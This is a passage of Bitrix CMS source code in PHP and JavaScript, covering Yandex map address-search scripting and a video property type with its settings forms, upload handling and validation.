var jsYandexCESearch_<?echo $MAP_ID;?> = {
bInited: false,
map: null,
geocoder: null,
obInput: null,
timerID: null,
timerDelay: 1000,
arSearchResults: [],
strLastSearch: null,
obOut: null,
__init: function(input)
{
if (jsYandexCESearch_<?echo $MAP_ID;?>.bInited) return;
jsYandexCESearch_<?echo $MAP_ID;?>.map = window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'];
jsYandexCESearch_<?echo $MAP_ID;?>.obInput = input;
input.onfocus = jsYandexCESearch_<?echo $MAP_ID;?>.showResults;
input.onblur = jsYandexCESearch_<?echo $MAP_ID;?>.hideResults;
jsYandexCESearch_<?echo $MAP_ID;?>.bInited = true;
},
setTypingStarted: function(e)
{
if (null == e)
e = window.event;
jsYandexCESearch_<?echo $MAP_ID;?>.hideResults();
if (e.keyCode == 13 )
{
jsYandexCESearch_<?echo $MAP_ID;?>.doSearch();
return false;
}
else
{
if (!jsYandexCESearch_<?echo $MAP_ID;?>.bInited)
jsYandexCESearch_<?echo $MAP_ID;?>.__init(this);
if (e.type=="contextmenu")
jsYandexCESearch_<?echo $MAP_ID;?>.timerDelay=3000;
else
jsYandexCESearch_<?echo $MAP_ID;?>.timerDelay=1000;
if (null != jsYandexCESearch_<?echo $MAP_ID;?>.timerID)
clearTimeout(jsYandexCESearch_<?echo $MAP_ID;?>.timerID);
jsYandexCESearch_<?echo $MAP_ID;?>.timerID = setTimeout(jsYandexCESearch_<?echo $MAP_ID;?>.doSearch, jsYandexCESearch_<?echo $MAP_ID;?>.timerDelay);
}
},
doSearch: function()
{
this.strLastSearch = jsUtils.trim(jsYandexCESearch_<?echo $MAP_ID;?>.obInput.value);
if (this.strLastSearch.length > 1)
{
ymaps.geocode(this.strLastSearch).then(
jsYandexCESearch_<?echo $MAP_ID;?>.__searchResultsLoad,
jsYandexCESearch_<?echo $MAP_ID;?>.handleError
);
}
},
handleError: function(error)
{
alert(this.jsMess.mess_error + ': ' + error.message);
},
setResultsCoordinates: function()
{
var obPos = jsUtils.GetRealPos(jsYandexCESearch_<?echo $MAP_ID;?>.obInput);
jsYandexCESearch_<?echo $MAP_ID;?>.obOut.style.top = (obPos.bottom + 2) + 'px';
jsYandexCESearch_<?echo $MAP_ID;?>.obOut.style.left = obPos.left + 'px';
},
__generateOutput: function()
{
jsYandexCESearch_<?echo $MAP_ID;?>.obOut = document.body.appendChild(document.createElement('UL'));
jsYandexCESearch_<?echo $MAP_ID;?>.obOut.className = 'bx-yandex-address-search-results';
},
__searchResultsLoad: function(res)
{
var _this = jsYandexCESearch_<?echo $MAP_ID;?>;
if (null == _this.obOut)
_this.__generateOutput();
_this.obOut.innerHTML = '';
_this.clearSearchResults();
var len = res.geoObjects.getLength();
if (len > 0)
{
for (var i = 0; i < len; i++)
{
_this.arSearchResults[i] = res.geoObjects.get(i);
var obListElement = document.createElement('LI');
if (i == 0)
obListElement.className = 'bx-yandex-first';
var obLink = document.createElement('A');
obLink.href = "javascript:void(0)";
var obText = obLink.appendChild(document.createElement('SPAN'));
obText.appendChild(document.createTextNode(
jsYandexCESearch_<?echo $MAP_ID;?>.arSearchResults[i].properties.get('metaDataProperty').GeocoderMetaData.text
));
obLink.BXSearchIndex = i;
obLink.onclick = _this.__showSearchResult;
obListElement.appendChild(obLink);
_this.obOut.appendChild(obListElement);
}
}
else
{
_this.obOut.innerHTML = '<li class="bx-yandex-notfound">' + window.jsAdminYandexMess.nothing_found + '</li>';
}
_this.showResults();
},
__showSearchResult: function()
{
if (null !== this.BXSearchIndex)
{
var bounds = jsYandexCESearch_<?echo $MAP_ID;?>.arSearchResults[this.BXSearchIndex].properties.get('boundedBy');
jsYandexCESearch_<?echo $MAP_ID;?>.map.setBounds(bounds, { checkZoomRange: true });
}
},
showResults: function()
{
if(this.strLastSearch!=jsUtils.trim(jsYandexCESearch_<?echo $MAP_ID;?>.obInput.value))
jsYandexCESearch_<?echo $MAP_ID;?>.doSearch();
if (null != jsYandexCESearch_<?echo $MAP_ID;?>.obOut)
{
jsYandexCESearch_<?echo $MAP_ID;?>.setResultsCoordinates();
jsYandexCESearch_<?echo $MAP_ID;?>.obOut.style.display = 'block';
}
},
hideResults: function()
{
if (null != jsYandexCESearch_<?echo $MAP_ID;?>.obOut)
{
setTimeout("jsYandexCESearch_<?echo $MAP_ID;?>.obOut.style.display = 'none'", 300);
}
},
clearSearchResults: function()
{
for (var i = 0; i < jsYandexCESearch_<?echo $MAP_ID;?>.arSearchResults.length; i++)
{
delete jsYandexCESearch_<?echo $MAP_ID;?>.arSearchResults[i];
}
jsYandexCESearch_<?echo $MAP_ID;?>.arSearchResults = [];
},
clear: function()
{
if (!jsYandexCESearch_<?echo $MAP_ID;?>.bInited)
return;
jsYandexCESearch_<?echo $MAP_ID;?>.bInited = false;
if (null != jsYandexCESearch_<?echo $MAP_ID;?>.obOut)
{
jsYandexCESearch_<?echo $MAP_ID;?>.obOut.parentNode.removeChild(jsYandexCESearch_<?echo $MAP_ID;?>.obOut);
jsYandexCESearch_<?echo $MAP_ID;?>.obOut = null;
}
jsYandexCESearch_<?echo $MAP_ID;?>.arSearchResults = [];
jsYandexCESearch_<?echo $MAP_ID;?>.map = null;
jsYandexCESearch_<?echo $MAP_ID;?>.geocoder = null;
jsYandexCESearch_<?echo $MAP_ID;?>.obInput = null;
jsYandexCESearch_<?echo $MAP_ID;?>.timerID = null;
}
}
</script>
</div>
<?$out = ob_get_contents();
ob_end_clean();
if ($arProperty['MULTIPLE'] == 'Y')
$yandexMapLastNumber++;
return $out;
}
public static function GetPublicViewHTML($arProperty, $value, $arParams)
{
$s = '';
if ($arParams['MODE'] == 'CSV_EXPORT')
{
if (strlen($value["VALUE"])>0)
{
$coordValue = parent::ConvertFromDB($arProperty, $value);
$s = $coordValue["VALUE"];
}
}
else
{
if(strlen($value["VALUE"])>0)
{
$value = parent::ConvertFromDB($arProperty, $value);
$arCoords = explode(',', $value['VALUE']);
ob_start();
$GLOBALS['APPLICATION']->IncludeComponent(
'bitrix:map.yandex.view',
'',
array(
'MAP_DATA' => serialize(array(
'yandex_lat' => $arCoords[0],
'yandex_lon' => $arCoords[1],
'PLACEMARKS' => array(
array(
'LON' => $arCoords[1],
'LAT' => $arCoords[0],
),
),
)),
'MAP_ID' => 'MAP_YANDEX_VIEW_'.$arProperty['IBLOCK_ID'].'_'.$arProperty['ID'].'_'.rand(),
'DEV_MODE' => 'Y',
),
false, array('HIDE_ICONS' => 'Y')
);
$s = ob_get_contents();
ob_end_clean();
}
}
return $s;
}
}
//AddEventHandler("iblock", "OnIBlockPropertyBuildList", array("CIBlockPropertyFileMan", "GetUserTypeDescription"));
//RegisterModuleDependences('iblock', 'OnIBlockPropertyBuildList', 'fileman', 'CIBlockPropertyMapGoogle', 'GetUserTypeDescription');
//RegisterModuleDependences('iblock', 'OnIBlockPropertyBuildList', 'fileman', 'CIBlockPropertyMapYandex', 'GetUserTypeDescription');
// ##########################
// ####### VIDEO PROPERTIES ######
// ##########################
// ### Base class ###
class CVideoProperty
{
public static function BasePrepareSettings($arProperty, $key = "SETTINGS")
{
$arSet = array(
"BUFFER_LENGTH" => "10",
"CONTROLBAR" => "bottom",
"AUTOSTART" => "N",
"VOLUME" => "90",
"SKIN" => "",
"FLASHVARS" => "",
"WMODE_FLV" => "transparent",
"BGCOLOR" => "FFFFFF",
"COLOR" => "000000",
"OVER_COLOR" => "000000",
"SCREEN_COLOR" => "000000",
"SILVERVARS" => "",
"WMODE_WMV" => "windowless",
"WIDTH" => "400",
"HEIGHT" => "300",
);
if(is_array($arProperty[$key]))
{
if (isset($arProperty[$key]["BUFFER_LENGTH"]))
$arSet["BUFFER_LENGTH"] = intVal($arProperty[$key]["BUFFER_LENGTH"]);
if (isset($arProperty[$key]["CONTROLBAR"]))
$arSet["CONTROLBAR"] = $arProperty[$key]["CONTROLBAR"];
if (isset($arProperty[$key]["AUTOSTART"]))
$arSet["AUTOSTART"] = $arProperty[$key]["AUTOSTART"] == "Y" ? "Y" : "N";
if (isset($arProperty[$key]["VOLUME"]))
$arSet["VOLUME"] = intVal($arProperty[$key]["VOLUME"]);
if (isset($arProperty[$key]["SKIN"]))
$arSet["SKIN"] = $arProperty[$key]["SKIN"];
if (isset($arProperty[$key]["FLASHVARS"]))
$arSet["FLASHVARS"] = $arProperty[$key]["FLASHVARS"];
if (isset($arProperty[$key]["WMODE_FLV"]))
$arSet["WMODE_FLV"] = $arProperty[$key]["WMODE_FLV"];
if (isset($arProperty[$key]["BGCOLOR"]))
$arSet["BGCOLOR"] = $arProperty[$key]["BGCOLOR"];
if (isset($arProperty[$key]["COLOR"]))
$arSet["COLOR"] = $arProperty[$key]["COLOR"];
if (isset($arProperty[$key]["OVER_COLOR"]))
$arSet["OVER_COLOR"] = $arProperty[$key]["OVER_COLOR"];
if (isset($arProperty[$key]["SCREEN_COLOR"]))
$arSet["SCREEN_COLOR"] = $arProperty[$key]["SCREEN_COLOR"];
if (isset($arProperty[$key]["SILVERVARS"]))
$arSet["SILVERVARS"] = $arProperty[$key]["SILVERVARS"];
if (isset($arProperty[$key]["WMODE_WMV"]))
$arSet["WMODE_WMV"] = $arProperty[$key]["WMODE_WMV"];
if (isset($arProperty[$key]["WIDTH"]))
$arSet["WIDTH"] = $arProperty[$key]["WIDTH"];
if (isset($arProperty[$key]["HEIGHT"]))
$arSet["HEIGHT"] = $arProperty[$key]["HEIGHT"];
}
return $arSet;
}
public static function BaseGetSettingsHTML($name, $val)
{
$arSkins = GetSkinsEx(CUserTypeVideo::GetSkinPath());
$name = htmlspecialcharsbx($name);
ob_start();
?>
<tr><td colSpan="2">
<style>
tr.bx-prop-sub-title td{background: #E2E1E0! important; color: #525355! important; font-weight: bold! important; text-align: left! important; padding-left: 10px;}
</style>
</td></tr>
<tr class="heading"><td colSpan="2"><?= GetMessage('IBLOCK_PROP_VIDEO_BOTH_SET')?></td></tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_BUFFER')?>:</td>
<td>
<input type="text" name="<?= $name?>[BUFFER_LENGTH]" size="10" value="<?= intval($val["BUFFER_LENGTH"])?>"/>
</td>
</tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_CONTROLBAR')?>:</td>
<td>
<select name="<?= $name?>[CONTROLBAR]">
<option value="bottom" <? if($val["CONTROLBAR"] == 'bottom') echo 'selected';?>><?= GetMessage('IBLOCK_PROP_VIDEO_SET_CONTROLBAR_DOWN')?></option>
<option value="none" <? if($val["CONTROLBAR"] == 'none') echo 'selected';?>><?= GetMessage('IBLOCK_PROP_VIDEO_SET_CONTROLBAR_NONE')?></option>
</select>
</td>
</tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_AUTOSTART')?>:</td>
<td>
<input value="Y" type="checkbox" name="<?= $name?>[AUTOSTART]" <? if($val["AUTOSTART"] == 'Y') echo 'checked="checked"';?>/>
</td>
</tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_VOLUME')?>:</td>
<td>
<input type="text" name="<?= $name?>[VOLUME]" size="10" value="<?= intval($val["VOLUME"])?>"/>
</td>
</tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SIZE')?></td>
<td>
<input type="text" name="<?= $name?>[WIDTH]" style="width: 70px;" size="10" value="<?= intval($val["WIDTH"])?>"/>
x
<input type="text" name="<?= $name?>[HEIGHT]" style="width: 70px;" size="10" value="<?= intval($val["HEIGHT"])?>"/>
</td>
</tr>
<tr class="heading"><td colSpan="2"><?= GetMessage('IBLOCK_PROP_VIDEO_FLV_SET')?></td></tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_SKIN')?>:</td>
<td id="bx_player_skin_cell">
<input id="bx_player_skin_input" type="hidden" name="<?= $name?>[SKIN]" value="<?= htmlspecialcharsbx($val["SKIN"])?>" />
<script>
jsUtils.loadCSSFile("/bitrix/components/bitrix/player/js/skin_selector.css");
jsUtils.loadJSFile("/bitrix/components/bitrix/player/js/prop_skin_selector.js", function()
{
if (!window.ComponentPropsSkinSelector || !window.BXSkinSelector)
return;
// Try to imitate CUSTOM-parameter in component params dialog
ComponentPropsSkinSelector({
propertyID : "SKIN",
getElements : function(){return {SKIN_PATH: {value: "<?= CVideoProperty::GetSkinPath()?>"}};},
oInput : document.getElementById("bx_player_skin_input"),
oCont : document.getElementById("bx_player_skin_cell"),
data : '<?= CUtil::JSEscape(CUtil::PhpToJSObject(array($arSkins, array('NoPreview' => GetMessage("IBLOCK_PROP_VIDEO_NO_PREVIEW"))))) ?>'
});
});
</script>
</td>
</tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_FLASHVARS')?>:</td>
<td>
<textarea cols="25" name="<?= $name?>[FLASHVARS]"><?= htmlspecialcharsbx($val["FLASHVARS"])?></textarea>
</td>
</tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_WMODE_FLV')?>:</td>
<td>
<select name="<?= $name?>[WMODE_FLV]">
<option value="window" <? if($val["WMODE_FLV"] == 'window' || !$val["WMODE_FLV"]) echo 'selected';?>><?= GetMessage('IBLOCK_PROP_VIDEO_SET_WMODE_WINDOW')?></option>
<option value="opaque" <? if($val["WMODE_FLV"] == 'opaque') echo 'selected';?>><?= GetMessage('IBLOCK_PROP_VIDEO_SET_WMODE_OPAQUE')?></option>
<option value="transparent" <? if($val["WMODE_FLV"] == 'transparent') echo 'selected';?>><?= GetMessage('IBLOCK_PROP_VIDEO_SET_WMODE_TRANSPARENT')?></option>
</select>
</td>
</tr>
<tr class="heading"><td colSpan="2"><?= GetMessage('IBLOCK_PROP_VIDEO_WMV_SET')?></td></tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_BGCOLOR')?>:</td>
<td><input type="text" name="<?= $name?>[BGCOLOR]" size="10" value="<?= htmlspecialcharsbx($val["BGCOLOR"])?>"/></td>
</tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_COLOR')?>:</td>
<td><input type="text" name="<?= $name?>[COLOR]" size="10" value="<?= htmlspecialcharsbx($val["COLOR"])?>"/></td>
</tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_OVER_COLOR')?>:</td>
<td><input type="text" name="<?= $name?>[OVER_COLOR]" size="10" value="<?= htmlspecialcharsbx($val["OVER_COLOR"])?>"/></td>
</tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_SCREEN_COLOR')?>:</td>
<td><input type="text" name="<?= $name?>[SCREEN_COLOR]" size="10" value="<?= htmlspecialcharsbx($val["SCREEN_COLOR"])?>"/ ></td>
</tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_SILVERVARS')?>:</td>
<td>
<textarea cols="25" name="<?= $name?>[SILVERVARS]"><?= htmlspecialcharsbx($val["SILVERVARS"])?></textarea>
</td>
</tr>
<tr>
<td><?= GetMessage('IBLOCK_PROP_VIDEO_SET_WMODE_WMV')?>:</td>
<td>
<select name="<?= $name?>[WMODE_WMV]">
<option value="window" <? if($val["WMODE_WMV"] == 'window') echo 'selected';?>><?= GetMessage('IBLOCK_PROP_VIDEO_SET_WMODE_WINDOW')?></option>
<option value="windowless" <? if($val["WMODE_WMV"] == 'windowless') echo 'selected';?>><?= GetMessage('IBLOCK_PROP_VIDEO_SET_WMODE_TRANSPARENT')?></option>
</select>
</td>
</tr>
<?
$result .= ob_get_contents();
ob_end_clean();
return $result;
}
public static function BaseGetEditFormHTML($set, $val, $name, $controlMode=false)
{
global $APPLICATION;
$id = str_replace(array("[","]",":"), "_", $name);
$path = $val["path"];
$name = htmlspecialcharsbx($name);
if (intval($val['width']) <= 0)
$val['width'] = intval($set['WIDTH']);
if (intval($val['height']) <= 0)
$val['height'] = intval($set['HEIGHT']);
ob_start();
?>
<div style="padding: 5px;">
<style>
table.bx-video-prop-tbl{border-collapse: collapse! important; border: 1px solid #E0E4F1;}
table.bx-video-prop-tbl td{padding: 3px 5px! important; border-bottom: 1px dotted #BABABA !important;}
table.bx-video-prop-tbl tr.bx-prop-main-title td{background: #E0E4F1! important; color: #525355! important; font-weight: bold! important; text-align: center! important; border-bottom-width: 0px !important; padding: 5px! important;}
table.bx-video-prop-tbl tr.bx-prop-sub-title td{background: #E2E1E0! important; color: #525355! important; font-weight: bold! important; text-align: left! important; border-bottom-width: 0px !important;}
table.bx-video-prop-tbl td.bx-pr-title{text-align: right! important; vertical-align: top! important; padding-top: 8px !important;}
div.bx-path-div a{float: right !important;}
div.bx-path-div a.bx-leave{display: none;}
div.bx-path-div-changed a.bx-leave{display: block !important;}
div.bx-path-div-changed a.bx-change{display: none !important;}
div.bx-path-div input.bx-path{color: #525355 !important;}
div.bx-path-div-changed input.bx-path{text-decoration: line-through !important;}
table.bx-video-prop-tbl img.spacer{display:block;float:left;height:1px;margin-top:-2px;width:220px;}
</style>
<table class="bx-video-prop-tbl">
<tr class="bx-prop-main-title"><td colSpan="2"><?= GetMessage('IBLOCK_PROP_VIDEO_PARAMS_TITLE')?></td></tr>
<? if ($controlMode != "iblock_element_admin"): ?>
<? if(strlen($path) > 0):?>
<tr class="heading"><td colSpan="2"><?= GetMessage('IBLOCK_PROP_VIDEO_PARAMS_TITLE_VIEW')?></td></tr>
<tr>
<td colSpan="2" style="text-align: center;">
<?$APPLICATION->IncludeComponent(
"bitrix:player",
"",
array(
"PLAYER_TYPE" => "auto",
"PATH" => $path,
"WIDTH" => $val['width'],
"HEIGHT" => $val['height'],
"FILE_TITLE" => $val['title'],
"FILE_DURATION" => intVal($val['duration']),
"FILE_AUTHOR" => $val['author'],
"FILE_DATE" => $val['date'],
"FILE_DESCRIPTION" => $val['desc'],
"SKIN_PATH" => CVideoProperty::GetSkinPath(),
"SKIN" => $set["SKIN"],
"CONTROLBAR" => $set["CONTROLBAR"],
"WMODE" => $set["WMODE_FLV"],
"WMODE_WMV" => $set["WMODE_WMV"],
"SHOW_CONTROLS" => $set["CONTROLBAR"] != 'none' ? "Y" : "N",
"CONTROLS_BGCOLOR" => $set["CONTROLS_BGCOLOR"],
"CONTROLS_COLOR" => $set["CONTROLS_COLOR"],
"CONTROLS_OVER_COLOR" => $set["CONTROLS_OVER_COLOR"],
"SCREEN_COLOR" => $set["SCREEN_COLOR"],
"AUTOSTART" => $set["AUTOSTART"],
"VOLUME" => $set["VOLUME"],
"ADDITIONAL_FLASHVARS" => $set["FLASHVARS"],
"BUFFER_LENGTH" => $set["BUFFER_LENGTH"],
"ADDITIONAL_WMVVARS" => $set["SILVERVARS"],
"ALLOW_SWF" => "N",
"LOGO_POSITION" => "none"
),
false,
array('HIDE_ICONS' => 'Y')
); ?>
</td>
</tr>
<?endif;?>
<tr><td class="bx-pr-title" style="width: 300px;"></td><td style="width: 240px;"></td></tr>
<tr class="heading"><td colSpan="2"><?= GetMessage('IBLOCK_PROP_VIDEO_PARAMS_TITLE_MAIN')?></td></tr>
<? if(strlen($path) > 0):?>
<tr>
<td class="bx-pr-title"><?= GetMessage('IBLOCK_PROP_VIDEO_FILE')?>:</td>
<td>
<div id="bx_video_path_div_<?= $id?>" class="bx-path-div">
<input type="hidden" value="<?= $path?>" name= "<?= $name?>[CUR_PATH]" />
<input id="bx_video_b_new_file_<?= $id?>" type="hidden" value="N" name= "<?= $name?>[B_NEW_FILE]" />
<input class="bx-path" readonly="readonly" value="<?= htmlspecialcharsex($path)?>" size="30" />
<br />
<a href="javascript: void(0)" onclick="return ChangeOrLeaveFile<?=$id?>(true);" class="bx-change" id="bx-change"><?= GetMessage('IBLOCK_PROP_VIDEO_FILE_CHANGE')?></a>
<a href="javascript: void(0)" onclick="return ChangeOrLeaveFile<?=$id?>(false);" class="bx-leave"><?= GetMessage('IBLOCK_PROP_VIDEO_FILE_LEAVE')?></a>
</div>
</td>
</tr>
<? if(CVideoProperty::CheckFileInUploadDir($path)):?>
<tr id="bx_video_del_row_<?= $id?>" style="display: none;">
<td class="bx-pr-title"></td>
<td>
<input type="checkbox" value="Y" id="bx_video_del_<?= $id?>" checked="checked" name= "<?= $name?>[DEL_CUR_FILE]" /><label for="bx_video_del_<?= $id?>"><?= GetMessage('IBLOCK_PROP_VIDEO_DEL_FILE')?></label>
</td>
</tr>
<?endif;?>
<?endif;?>
<tr id="bx_video_new_path_row_<?= $id?>" <?if (strlen($path) > 0){ echo 'style="display: none;"'; }?>>
<td class="bx-pr-title" style="width: 300px;"><?= GetMessage(strlen($path) > 0 ? 'IBLOCK_PROP_VIDEO_PATH_NEW' : 'IBLOCK_PROP_VIDEO_PATH')?>:</td>
<td style="width: 240px;">
<img src="/bitrix/images/1.gif" class="spacer" />
<div id="bx_video_path_cont1_<?= $id?>" style="display: none;">
<input type="text" size="30" value="" id="bx_video_path_<?= $id?>" style="float:left;" name= "<?= $name?>[PATH]" />
<?
CAdminFileDialog::ShowScript(Array
(
"event" => "OpenFileBrowser_".$id,
"arResultDest" => Array("FUNCTION_NAME" => "SetVideoPath".$id),
"arPath" => Array(),
"select" => 'F',// F - file only, D - folder only
"operation" => 'O',// O - open, S - save
"showUploadTab" => false,
"showAddToMenuTab" => false,
"fileFilter" => 'flv,mp4,mp3,wmv',
"allowAllFiles" => true,
"SaveConfig" => true
)
);
CMedialib::ShowBrowseButton(
array(
"id" => 'OpenFileBrowser_but_'.$id,
"event" => "OpenFileBrowser_".$id,
'MedialibConfig' => array(
"event" => "OpenFileBrowser_ml_".$id,
"arResultDest" => array("FUNCTION_NAME" => "SetVideoPath".$id)
)
));?>
<br />
<a href="javascript: void(0)" onclick="return DisplayCont('bx_video_path_cont2_<?= $id?>', 'bx_video_path_cont1_<?= $id?>');" style="float: right;"><?= GetMessage('IBLOCK_PROP_VIDEO_PATH_FROM_PC')?></a>
</div>
<div id="bx_video_path_cont2_<?= $id?>">
<input type="file" value="" id="bx_video_file_<?= $id?>" name= "<?= $name?>[FILE]" />
<br />
<a href="javascript: void(0)" onclick="return DisplayCont('bx_video_path_cont1_<?= $id?>', 'bx_video_path_cont2_<?= $id?>');" style="float: right;"><?= GetMessage('IBLOCK_PROP_VIDEO_PATH_FROM_FD')?></a>
</div>
</td>
</tr>
<?else:?>
<tr>
<td class="bx-pr-title"><?= GetMessage('IBLOCK_PROP_VIDEO_FILE')?>:</td>
<td>
<div id="bx_video_path_div_<?= $id?>" class="bx-path-div">
<input type="text" size="25" value="<?= htmlspecialcharsex($path)?>" size="30" name="<?= $name?>[PATH]"/>
</div>
</td>
</tr>
<?endif;?>
<tr>
<td class="bx-pr-title"><?= GetMessage('IBLOCK_PROP_VIDEO_SIZE')?>:</td>
<td>
<input id="bx_video_width_<?= $id?>" type="text" size="10" style="width: 70px;" value="<?= htmlspecialcharsbx($val['width'])?>" name= "<?= $name?>[WIDTH]" />
x
<input id="bx_video_height_<?= $id?>" type="text" size="10" style="width: 70px;" value="<?= htmlspecialcharsbx($val['height'])?>" name= "<?= $name?>[HEIGHT]" />
</td>
</tr>
<tr class="heading"><td colSpan="2"><?= GetMessage('IBLOCK_PROP_VIDEO_PARAMS_TITLE_INFO')?></td></tr>
<tr>
<td class="bx-pr-title"><?= GetMessage('IBLOCK_PROP_VIDEO_TITLE')?>:</td>
<td><input id="bx_video_title_<?= $id?>" type="text" size="30" value="<?= htmlspecialcharsbx($val['title'])?>" name="<?= $name?>[TITLE]" /></td>
</tr>
<tr>
<td class="bx-pr-title"><?= GetMessage('IBLOCK_PROP_VIDEO_DURATION')?>:</td>
<td><input id="bx_video_duration_<?= $id?>" type="text" size="30" value="<?= htmlspecialcharsbx($val['duration'])?>" name="<?= $name?>[DURATION]"/></td>
</tr>
<tr>
<td class="bx-pr-title"><?= GetMessage('IBLOCK_PROP_VIDEO_AUTHOR')?>:</td>
<td><input id="bx_video_author_<?= $id?>" type="text" size="30" value="<?= htmlspecialcharsbx($val['author'])?>" name="<?= $name?>[AUTHOR]"/></td>
</tr>
<tr>
<td class="bx-pr-title"><?= GetMessage('IBLOCK_PROP_VIDEO_DATE')?>:</td>
<td><input id="bx_video_date_<?= $id?>" type="text" size="30" value="<?= htmlspecialcharsbx($val['date'])?>" name="<?= $name?>[DATE]" /></td>
</tr>
<tr>
<td class="bx-pr-title"><?= GetMessage('IBLOCK_PROP_VIDEO_DESC')?>:</td>
<td><input id="bx_video_desc_<?= $id?>" type="text" size="30" value="<?= htmlspecialcharsbx($val['desc'])?>" name="<?= $name?>[DESC]"/></td>
</tr>
</table>
<script>
function DisplayCont(id1, id2)
{
var
el1 = document.getElementById(id1),
el2 = document.getElementById(id2);
if (el1 && el2)
{
el1.style.display = "block";
el2.style.display = "none";
}
return false;
}
function SetVideoPath<?= $id?>(filename, path, site)
{
var
url,
srcInput = document.getElementById("bx_video_path_<?= $id?>");
if (typeof filename == 'object') // Using medialibrary
{
url = filename.src;
document.getElementById("bx_video_title_<?= $id?>").value = filename.name || '';
document.getElementById("bx_video_desc_<?= $id?>").value = filename.description || '';
}
else // Using file dialog
{
url = (path == '/' ? '' : path) + '/'+filename;
}
srcInput.value = url;
if(srcInput.onchange)
srcInput.onchange();
srcInput.focus();
srcInput.select();
}
function ChangeOrLeaveFile<?= $id?>(bChange)
{
var
pDiv = document.getElementById("bx_video_path_div_<?= $id?>"),
pDelRow = document.getElementById("bx_video_del_row_<?= $id?>"),
pBNewFile = document.getElementById("bx_video_b_new_file_<?= $id?>"),
pNewFileRow = document.getElementById("bx_video_new_path_row_<?= $id?>"),
_display = jsUtils.IsIE() ? "inline" : "table-row";
if (pBNewFile)
pBNewFile.value = bChange ? "Y" : "N";
if (pDelRow)
pDelRow.style.display = bChange ? _display : 'none';
if (pNewFileRow)
pNewFileRow.style.display = bChange ? _display : 'none';
pDiv.className = bChange ? "bx-path-div bx-path-div-changed" : "bx-path-div";
return false;
}
</script>
</div>
<?
$s = ob_get_contents();
ob_end_clean();
return $s;
}
public static function BaseConvertToDB($value)
{
$io = CBXVirtualIo::GetInstance();
$arRes = array("path" => "");
if (!is_array($value))
$value = array();
//In case of DB value just serialize it
if (implode("|", array_keys($value)) === 'path|width|height|title|duration|author|date|desc')
return serialize($value);
if ($value["B_NEW_FILE"] != "N") // New video or replacing old
{
if (strlen($value["CUR_PATH"]) > 0 && $value["DEL_CUR_FILE"] == "Y" && CIBlockPropertyVideo::CheckFileInUploadDir($value["CUR_PATH"]))
{
// del current file
$cur_path_ = $_SERVER["DOCUMENT_ROOT"].Rel2Abs("/", $value["CUR_PATH"]);
$flTmp = $io->GetFile($cur_path_);
$flSzTmp = $flTmp->GetFileSize();
if($io->Delete($cur_path_))
{
// Quota
if(COption::GetOptionInt("main", "disk_space") > 0)
CDiskQuota::updateDiskQuota("file", $flSzTmp, "delete");
}
}
// Get video
if (strlen($value["PATH"]) > 0 )
{
$arRes["path"] = $value["PATH"];
}
else if (isset($value["FILE"]) && strlen($value["FILE"]["tmp_name"]) > 0)
{
$pathToDir = CIBlockPropertyVideo::GetUploadDirPath();
if (!$io->DirectoryExists($_SERVER["DOCUMENT_ROOT"].$pathToDir))
CFileMan::CreateDir($pathToDir);
// 1. Convert name
$name = preg_replace("/[^a-zA-Z0-9_:\.]/is", "_", $value["FILE"]["name"]);
$baseNamePart = substr($name, 0, strrpos($name, '.'));
$ext = GetFileExtension($name);
if(strlen($ext) > 0 && !HasScriptExtension($name) && substr($name, 0, 1) != ".")
{
$ind = 0;
// 2. Check if file already exists
while($io->FileExists($_SERVER["DOCUMENT_ROOT"].Rel2Abs($pathToDir, $name)))
$name = $baseNamePart."_(".++$ind.").".$ext; // 3. Rename
$pathto = Rel2Abs($pathToDir, $name);
if (is_uploaded_file($value["FILE"]["tmp_name"])
&& $io->Copy($value["FILE"]["tmp_name"], $_SERVER["DOCUMENT_ROOT"].$pathto))
{
$arRes["path"] = Rel2Abs("/", $pathto);
// Quota
if(COption::GetOptionInt("main", "disk_space") > 0)
CDiskQuota::updateDiskQuota("file", $value["FILE"]["size"], "add");
}
}
}
}
elseif (strlen($value["CUR_PATH"]) > 0) // save current file
{
if(preg_match("/^(http|https):\\/\\//", $value["CUR_PATH"]))
$arRes["path"] = $value["CUR_PATH"];
else
$arRes["path"] = Rel2Abs("/", $value["CUR_PATH"]);
}
// Width & height
$arRes["width"] = intVal($value["WIDTH"]);
$arRes["height"] = intVal($value["HEIGHT"]);
if ($arRes["width"] < 0)
$arRes["width"] = 400;
if ($arRes["height"] < 0)
$arRes["height"] = 300;
// Video info
$arRes["title"] = $value["TITLE"];
$arRes["duration"] = $value["DURATION"];
$arRes["author"] = $value["AUTHOR"];
$arRes["date"] = $value["DATE"];
$arRes["desc"] = $value["DESC"];
$strRes = serialize($arRes);
if ($arRes["path"] == "" && $arRes["title"] == "" && $arRes["author"] == "")
return "";
return $strRes;
}
public static function BaseConvertFromDB($val = "")
{
if (!is_array($val) && strlen($val) > 0)
$val = unserialize($val);
return $val ? $val : array();
}
public static function BaseCheckFields($val)
{
$arErrors = array();
if (!is_array($val))
$val = array();
// Check uploaded file
if ($val["B_NEW_FILE"] != "N" && isset($val["FILE"])) //
{
if($val["FILE"]["error"] == 1 || $val["FILE"]["error"] == 2)
$arErrors[] = GetMessage("IBLOCK_PROP_VIDEO_SIZE_ERROR", Array('#FILE_NAME#' => $pathto))."\n";
if(strlen($val["FILE"]["tmp_name"]) > 0)
{
$name = $val["FILE"]["name"];
$name = preg_replace("/[^a-zA-Z0-9_:\.]/is", "_", $name);
$ext = GetFileExtension($name);
if(strlen($ext) == 0 || HasScriptExtension($name) || substr($name, 0, 1) == ".")
$arErrors[] = GetMessage("IBLOCK_PROP_VIDEO_INCORRECT_EXT", array("#EXT#" => strtoupper($ext)));
